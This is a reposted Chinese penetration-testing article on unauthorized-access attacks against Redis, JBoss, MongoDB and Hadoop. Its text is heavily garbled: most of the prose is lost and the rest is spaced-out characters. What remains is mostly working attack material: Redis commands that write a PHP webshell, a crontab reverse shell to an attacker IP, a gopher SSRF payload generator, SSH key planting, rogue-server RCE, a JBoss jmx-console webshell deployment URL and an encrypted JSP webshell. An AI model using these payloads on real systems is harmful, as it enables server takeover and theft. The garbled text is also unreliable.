[21960] 2021-05-11_『渗透测试』常见未授权访问总结

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-05-11_『渗透测试』常见未授权访问总结 访 L e m o n S e c   2 0 2 1 - 0 5 - 1 1 2 0 2 1 - 0 5 - 1 1 I C D A T 访 0 x 0 0   访 0 x 0 1   r e d i s 访 1 . 1   1 . 2   1 . 2 . 1   r e d i s w e b s h e l l 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 / v a r / w w w / h t m l h t t p s : / / g i t h u b . c o m / c o d e - s c a n / r e s c a n 1 . r e d i s r e d i s - c l i 2 . w e b p h p i n f o 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 : 6 3 7 9 >   c o n f i g   s e t   d i r   / v a r / w w w / h t m l O K 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p O K 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 : 6 3 7 9 >   s e t   w e b s h e l l     " n n n < ? p h p   @ e v a l ( $ _ P O S T [ ' s h e l l ' ] ) ; ? > n n n " O K 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 : 6 3 7 9 >   s a v e O K
使 1 . 2 . 2   c r o n t a b s h e l l   : w e b s h e l l r e d i s s h e l l r e d i s c e n t o s r o o t 1 9 2 . 1 6 8 . 1 6 0 . 1 4 6 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 n c   - l v n p   4 4 4 4 r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 0 . 1 4 6 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n c o n f i g   s e t   d b f i l e n a m e   r o o t s e t   c e s h i   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 / 4 4 4 4   0 > & 1 n n " s a v e s h e l l p y t h o n # ! / u s r / b i n / e n v   p y t h o n i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = ' 1 9 2 . 1 6 8 . 1 6 0 . 1 4 6 ' p o r t = ' 6 3 7 9 ' r e v e r s e _ i p = " 1 9 2 . 1 6 8 . 1 6 0 . 1 " r e v e r s e _ p o r t = " 4 4 4 4 " c r o n = " n n n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / % s / % s   0 > & 1 n n n n " % ( r e v e r s e _ i p , r e v e r s e _ p o r t ) f i l e n a m e = " r o o t " p a t h = " / v a r / s p o o l / c r o n " p a s s w d = " " c m d = [ " f l u s h a l l " ,
  k a l i   c e n t o s           " s e t   1   { } " . f o r m a t ( c r o n . r e p l a c e ( "   " , " $ { I F S } " ) ) ,           " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) ,           " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) , " s a v e "           ] i f   p a s s w d :         c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) :         C R L F = " r n "         r e d i s _ a r r   =   a r r . s p l i t ( "   " )         c m d = " "         c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) )         f o r   x   i n   r e d i s _ a r r :                 c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " )         c m d + = C R L F         r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         f o r   x   i n   c m d :                 p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) )         p r i n t   p a y l o a d c u r l 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 1 9 2 . 1 6 8 . 1 6 0 . 1 4 8 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c r o n t a b s   / / k a l i / v a r / s p o o l / c r o n / c r o n t a b s s e t   c e s h i   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 1 6 0 . 1 2 8 / 4 4 4 4   0 > & 1 n n " u b u n t u l i n u x c r o n s h e l l b i n / s h u b u n t u k a l i b i n / s h d a s h
1 . 2 . 3   r o o t u b u n t u k a l i b i n / s h d a s h d a s h s h e l l b i n / s h c d   / b i n   &   l s   - l   |   g r e p   - w   " s h " c e n t o s k a l i U b u n t u s h e l l h t t p s : / / w w w . d a z h u a n l a n . c o m / 2 0 1 9 / 1 1 / 1 5 / 5 d c e 5 0 7 a 4 1 d f 5 / l i n u x 1 9 2 . 1 6 8 . 1 6 0 . 1 4 6 s s h - k e y g e n   - t   r s a       / / s s h c d   / r o o t / . s s h ( e c h o   - e   " n n " ;   c a t   i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   1 . t x t         / / 1 . t x t c a t   1 . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 0 . 1 4 6   - x   s e t   c r a c k       / / s s h r e d i s r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 . 1 4 6   / / r e d i s C O N F I G   G E T   d i r     / / r e d i s c o n f i g   s e t   d i r   / r o o t / . s s h       / / r e d i s s s h C O N F I G   S E T   d b f i l e n a m e   a u t h o r i z e d _ k e y s       / / a u t h o r i z e d _ k e y s C O N F I G   G E T   d b f i l e n a m e       / /
1 . 2 . 4   R C E   : 使 s a v e s s h   - i   i d _ r s a   r o o t @ 1 9 2 . 1 6 8 . 1 6 0 . 1 4 6 y e s r e d i s 4 . x r e d i s r e d i s r e d i s c . s o r e d i s 4 . x - 5 . 0 . 5 w i n r e d i s 3 . 2 w i n h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / r e d i s - r o g u e - s e r v e r p y t h o n 3   r e d i s - r o g u e - s e r v e r . p y     - - r h o s t   1 9 2 . 1 6 8 . 1 6 0 . 1 4 6   - - l h o s t   1 9 2 . 1 6 8 . 1 6 0 . 1 h t t p s : / / w w w . j i a n s h u . c o m / p / 7 7 0 5 2 b 0 0 7 0 0 c h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r / p / 9 5 4 8 9 6 2 . h t m l w i n r e d i s
: 0 x 0 2   J b o s s 访   访 2 . 1   2 . 2   2 . 2 . 1   访 w e b s h e l l h t t p s : / / x z . a l i y u n . c o m / t / 7 9 4 0 h t t p s : / / x z . a l i y u n . c o m / t / 8 1 5 3 d o c k e r t e s t j b o s s h t t p : / / i p / / j m x - c o n s o l e h t t p s : / / g i t h u b . c o m / G G y a o / j b o s s S c a n h t t p : / / 1 9 2 . 1 6 8 . 1 6 0 . 1 / j m x - c o n s o l e / / H t m l A d a p t o r ? a c t i o n = i n v o k e O p B y N a m e & n a m e = j b o s s . a d m i n % 3 A s e r v i c e % 3 D D e p l o y m e n t F i l e R e p o s i t o r y & m e t h o d N a m e = s t o r e & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 0 = A u g u s t . w a r & a r g T y p e = j a v a . l a n g . S t r i n g & & a r g 1 = s h e l l & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 2 = . j s p & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 3 = % 3 c % 2 5 + ( n e w + j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( % 2 2 % 2 f % 2 2 ) % 2 b r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 t % 2 2 ) . g e t B y t e s ( ) ) % 3 b + % 2 5 % 3 e & a r g T y p e = b o o l e a n & a r g 4 = T r u e a r g 0 : A u g u s t . w a r   / / w a r a r g 1 : s h e l l     / / a r g 2 : . j s p       / / a r g 3 : < % + i f ( r e q u e s t . g e t P a r a m e t e r ( " f " ) ! = n u l l ) ( n e w + j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( " / " ) + r e q u e s t . g e t P a r a m e t e r ( " f " ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( " t " ) . g e t B y t e s ( ) ) ; + % > / / f = t =
访 2 . 2 . 2   w a r       j m x - c o n s o l e d e p l o y m e n t D e p l o y m e n t S c a n n e r a d d U R L ( ) P a r a m V a l u e w a r       j m x - c o n s o l e j b o s s . w e b . d e p l o y m e n t 访 h t t p : / / 1 9 2 . 1 6 8 . 1 6 0 . 1 / A u g u s t / s h e l l . j s p ? f = 2 . t x t & t = 1 2 3 h t t p : / / 1 9 2 . 1 6 8 . 1 6 0 . 1 / A u g u s t / 2 . t x t w a r j a r   c v f   m a 1 . w a r   m a 1 . j s p i n v o k e
2 . 2 . 3   w a r 2 访 : D e p l o y m e n t F i l e R e p o s i t o r y w a r j m x - c o n s o l e B a s e D i r . / d e p l o y / s t o r e p 1 : j m x - c o n s o l e p 2 : c e s h i p 3 : . j s p p 4 : < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a x . c r y p t o . * , j a v a x . c r y p t o . s p e c . * " % > < % ! c l a s s   U   e x t e n d s   C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n   s u p e r . d e f i n e C l a s s ( b , 0 , b . l e n g t h ) ; } } % > < % i f   ( r e q u e s t . g e t M e t h o d ( ) . e q u a l s ( " P O S T " ) ) { S t r i n g   k = " e 4 5 e 3 2 9 f e b 5 d 9 2 5 b " ; / * 3 2 m d 5 1 6 r e b e y o n d * / s e s s i o n . p u t V a l u e ( " u " , k ) ; C i p h e r   c = C i p h e r . g e t I n s t a n c e ( " A E S " ) ; c . i n i t ( 2 , n e w   S e c r e t K e y S p e c ( k . g e t B y t e s ( ) , " A E S " ) ) ; n e w   U ( t h i s . g e t C l a s s ( ) . g e t C l a s s L o a d e r ( ) ) . g ( c . d o F i n a l ( n e w   s u n . m i s c . B A S E 6 4 D e c o d e r ( ) . d e c o d e B u f f e r ( r e q u e s t . g e t R e a d e r ( ) . r e a d L i n e ( ) ) ) ) . n e w I n s t a n c e ( ) . e q u a l s ( p a g e C o n t e x t ) ; } % > p s : p 4
访 2 0 0 2 . 3   i n v o k e h t t p : / / 1 9 2 . 1 6 8 . 1 6 0 . 1 / j m x - c o n s o l e / c e s h i . j s p h t t p s : / / g i t h u b . c o m / j o a o m a t o s f / j e x b o s s p y t h o n 2   j e x b o s s . p y   - h o s t   h t t p : / / i p
0 x 0 3   M o n g o D B 访 3 . 1     0 x 0 4   h a d o o p 访 4 . 1   访 8 0 8 8 h t t p s : / / w w w . c n b l o g s . c o m / r n s s / p / 1 3 3 7 7 3 2 1 . h t m l h t t p s : / / w w w . c n b l o g s . c o m / H a c k - D e v i l / p / 1 3 7 4 1 6 0 4 . h t m l N o S Q L B o o s t e r h t t p s : / / n o s q l b o o s t e r . c o m / d o w n l o a d s 1 2 7 . 0 . 0 . 1 : 8 0 8 8 v u l h u b h a d o o p h a d o o p w e b
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则